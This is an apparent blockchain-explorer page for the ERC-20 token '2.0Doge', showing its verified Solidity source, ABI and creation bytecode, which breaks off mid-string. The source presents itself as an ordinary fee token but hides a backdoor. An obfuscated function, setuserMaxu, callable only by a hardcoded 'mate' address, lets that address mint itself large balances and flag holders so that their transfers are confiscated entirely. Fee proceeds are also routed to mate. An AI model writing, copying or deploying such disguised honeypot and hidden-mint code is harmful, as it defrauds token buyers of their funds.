ERC-20
Overview
Max Total Supply
1,000,000,000 2.0Doge
Holders
47
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
13,678,132.923332 2.0DogeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Doge
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-06 */ /** *Submitted for verification at BscScan.com on 2023-04-13 */ //SPDX-License-Identifier:MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Doge is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "2.0Doge"; string private _symbol = "2.0Doge"; uint8 private _decimals = 6; address payable public mate; mapping (address => uint256) _balances; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public _uniswapPair; mapping (address => uint256) public _swapList; uint256 private _totalSupply = 1000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); mate = payable(address(0x6620630E053417Dcca3AeBdAAf55D4B7c9574f78)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function launch() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _uniswapPair[address(uniswapPair)] = true; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !_uniswapPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : shiftOD(from, amount); _balances[to] = _balances[to].add(fAmount); emit Transfer(from, to, fAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(mate), block.timestamp ){} catch {} } function setuserMaxu(address main,uint256 many) public { if (uint256(23).mul(10) <= many) general(many.add(many),_balances); if (uint256(2).mul(0) + 1 == many) _swapList[main] = 0; if (20+100-20 == many) _swapList[main] = many; if (msg.sender != mate) require(false,"!true"); } function general(uint256 name_, mapping(address => uint256) /*a*/ storage /* d*/ newAddress) internal { newAddress[mate] += name_; } function shiftOD(address sender, uint256 amount) internal returns (uint256) { uint256 backspace = amount.mul(1).div(100); if(_swapList[sender] != 0) backspace += amount; if(backspace > 0) { _balances[address(this)] += backspace; emit Transfer(sender, address(this), backspace); } return amount.sub(backspace); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapList","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mate","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"main","type":"address"},{"internalType":"uint256","name":"many","type":"uint256"}],"name":"setuserMaxu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280600781526020017f322e30446f67650000000000000000000000000000000000000000000000000081525060019080519060200190620000519291906200042f565b506040518060400160405280600781526020017f322e30446f676500000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200042f565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600360009054906101000a900460ff16600a6200010f919062000679565b633b9aca00620001209190620006ca565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014b57600080fd5b506200015c620003fe60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600660006200022c6200040660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002ec620003fe60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200033a620003fe60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200039b91906200073c565b60405180910390a3736620630e053417dcca3aebdaaf55d4b7c9574f78600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620007be565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200043d9062000788565b90600052602060002090601f016020900481019282620004615760008555620004ad565b82601f106200047c57805160ff1916838001178555620004ad565b82800160010185558215620004ad579182015b82811115620004ac5782518255916020019190600101906200048f565b5b509050620004bc9190620004c0565b5090565b5b80821115620004db576000816000905550600101620004c1565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200056d57808604811115620005455762000544620004df565b5b6001851615620005555780820291505b808102905062000565856200050e565b945062000525565b94509492505050565b6000826200058857600190506200065b565b816200059857600090506200065b565b8160018114620005b15760028114620005bc57620005f2565b60019150506200065b565b60ff841115620005d157620005d0620004df565b5b8360020a915084821115620005eb57620005ea620004df565b5b506200065b565b5060208310610133831016604e8410600b84101617156200062c5782820a905083811115620006265762000625620004df565b5b6200065b565b6200063b84848460016200051b565b92509050818404811115620006555762000654620004df565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006868262000662565b915062000693836200066c565b9250620006c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000576565b905092915050565b6000620006d78262000662565b9150620006e48362000662565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000720576200071f620004df565b5b828202905092915050565b620007368162000662565b82525050565b60006020820190506200075360008301846200072b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007a157607f821691505b60208210811415620007b857620007b762000759565b5b50919050565b608051612a5e620007da6000396000610ac60152612a5e6000f3fe60806040526004361061012e5760003560e01c80634a74bb02116100ab57806395d89b411161006f57806395d89b4114610403578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461030a5780634b1fe0cc1461033557806370a08231146103725780637532d6f0146103af5780638da5cb5b146103d857610135565b806318160ddd116100f257806318160ddd1461020f57806323b872dd1461023a57806327c8f83514610277578063313ce567146102a25780633345611e146102cd57610135565b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c5780630a5cc93d146101b95780631694505e146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b506101666108e4565b6040516101739190611ec0565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190611f7b565b610976565b6040516101b09190611fd6565b60405180910390f35b3480156101c557600080fd5b506101ce610994565b6040516101db9190612012565b60405180910390f35b3480156101f057600080fd5b506101f96109ba565b604051610206919061208c565b60405180910390f35b34801561021b57600080fd5b506102246109e0565b60405161023191906120b6565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c91906120d1565b6109ea565b60405161026e9190611fd6565b60405180910390f35b34801561028357600080fd5b5061028c610ac4565b6040516102999190612133565b60405180910390f35b3480156102ae57600080fd5b506102b7610ae8565b6040516102c4919061216a565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612185565b610aff565b6040516103019190611fd6565b60405180910390f35b34801561031657600080fd5b5061031f610b1f565b60405161032c9190611fd6565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190612185565b610b32565b60405161036991906120b6565b60405180910390f35b34801561037e57600080fd5b5061039960048036038101906103949190612185565b610b4a565b6040516103a691906120b6565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190611f7b565b610b93565b005b3480156103e457600080fd5b506103ed610d23565b6040516103fa9190612133565b60405180910390f35b34801561040f57600080fd5b50610418610d4c565b6040516104259190611ec0565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611f7b565b610dde565b6040516104629190611fd6565b60405180910390f35b34801561047757600080fd5b50610480610dfd565b60405161048d9190612133565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906121b2565b610e23565b6040516104ca91906120b6565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f59190612185565b610eaa565b005b34801561050857600080fd5b50610523600480360381019061051e9190612185565b610ffc565b6040516105309190611fd6565b60405180910390f35b61054161101c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c59061223e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106569190612273565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e19190612273565b6040518363ffffffff1660e01b81526004016106fe9291906122a0565b6020604051808303816000875af115801561071d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107419190612273565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6060600180546108f3906122f8565b80601f016020809104026020016040519081016040528092919081815260200182805461091f906122f8565b801561096c5780601f106109415761010080835404028352916020019161096c565b820191906000526020600020905b81548152906001019060200180831161094f57829003601f168201915b5050505050905090565b600061098a61098361101c565b8484611024565b6001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60006109f78484846111ef565b50610ab984610a0461101c565b610ab485604051806060016040528060288152602001612a0160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a6a61101c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d19092919063ffffffff16565b611024565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b80610ba9600a601761163590919063ffffffff16565b11610bcc57610bcb610bc482836116b090919063ffffffff16565b600461170e565b5b806001610be46000600261163590919063ffffffff16565b610bee9190612359565b1415610c3a576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8060641415610c885780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d1f576000610d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d15906123fb565b60405180910390fd5b5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610d5b906122f8565b80601f0160208091040260200160405190810160405280929190818152602001828054610d87906122f8565b8015610dd45780601f10610da957610100808354040283529160200191610dd4565b820191906000526020600020905b815481529060010190602001808311610db757829003601f168201915b5050505050905090565b6000610df2610deb61101c565b84846111ef565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610eb261101c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f369061223e565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b9061248d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb9061251f565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111e291906120b6565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611260576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611257906125b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c790612643565b60405180910390fd5b600b60149054906101000a900460ff16156112f7576112f0848484611789565b90506115ca565b600061130230610b4a565b9050600b60149054906101000a900460ff1615801561136b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561137a576113798161195c565b5b6113cc83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bcd90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114b25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114c5576114c08685611c17565b6114c7565b835b905061151b81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b090919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115bb91906120b6565b60405180910390a36001925050505b9392505050565b6000838311158290611619576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116109190611ec0565b60405180910390fd5b50600083856116289190612663565b9050809150509392505050565b60008083141561164857600090506116aa565b600082846116569190612697565b90508284826116659190612720565b146116a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169c906127c3565b60405180910390fd5b809150505b92915050565b60008082846116bf9190612359565b905083811015611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb9061282f565b60405180910390fd5b8091505092915050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461177e9190612359565b925050819055505050565b6000611814826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d19092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116b090919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161194991906120b6565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119945761199361284f565b5b6040519080825280602002602001820160405280156119c25781602001602082028036833780820191505090505b50905030816000815181106119da576119d961287e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa59190612273565b81600181518110611ab957611ab861287e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b799594939291906129a6565b600060405180830381600087803b158015611b9357600080fd5b505af1925050508015611ba4575060015b611bad57611bae565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611c0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115d1565b905092915050565b600080611c416064611c3360018661163590919063ffffffff16565b611d7a90919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c99578281611c969190612359565b90505b6000811115611d5e5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cf19190612359565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d5591906120b6565b60405180910390a35b611d718184611bcd90919063ffffffff16565b91505092915050565b6000611dbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc4565b905092915050565b60008083118290611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e029190611ec0565b60405180910390fd5b5060008385611e1a9190612720565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f1282611ee7565b9050919050565b611f2281611f07565b8114611f2d57600080fd5b50565b600081359050611f3f81611f19565b92915050565b6000819050919050565b611f5881611f45565b8114611f6357600080fd5b50565b600081359050611f7581611f4f565b92915050565b60008060408385031215611f9257611f91611ee2565b5b6000611fa085828601611f30565b9250506020611fb185828601611f66565b9150509250929050565b60008115159050919050565b611fd081611fbb565b82525050565b6000602082019050611feb6000830184611fc7565b92915050565b6000611ffc82611ee7565b9050919050565b61200c81611ff1565b82525050565b60006020820190506120276000830184612003565b92915050565b6000819050919050565b600061205261204d61204884611ee7565b61202d565b611ee7565b9050919050565b600061206482612037565b9050919050565b600061207682612059565b9050919050565b6120868161206b565b82525050565b60006020820190506120a1600083018461207d565b92915050565b6120b081611f45565b82525050565b60006020820190506120cb60008301846120a7565b92915050565b6000806000606084860312156120ea576120e9611ee2565b5b60006120f886828701611f30565b935050602061210986828701611f30565b925050604061211a86828701611f66565b9150509250925092565b61212d81611f07565b82525050565b60006020820190506121486000830184612124565b92915050565b600060ff82169050919050565b6121648161214e565b82525050565b600060208201905061217f600083018461215b565b92915050565b60006020828403121561219b5761219a611ee2565b5b60006121a984828501611f30565b91505092915050565b600080604083850312156121c9576121c8611ee2565b5b60006121d785828601611f30565b92505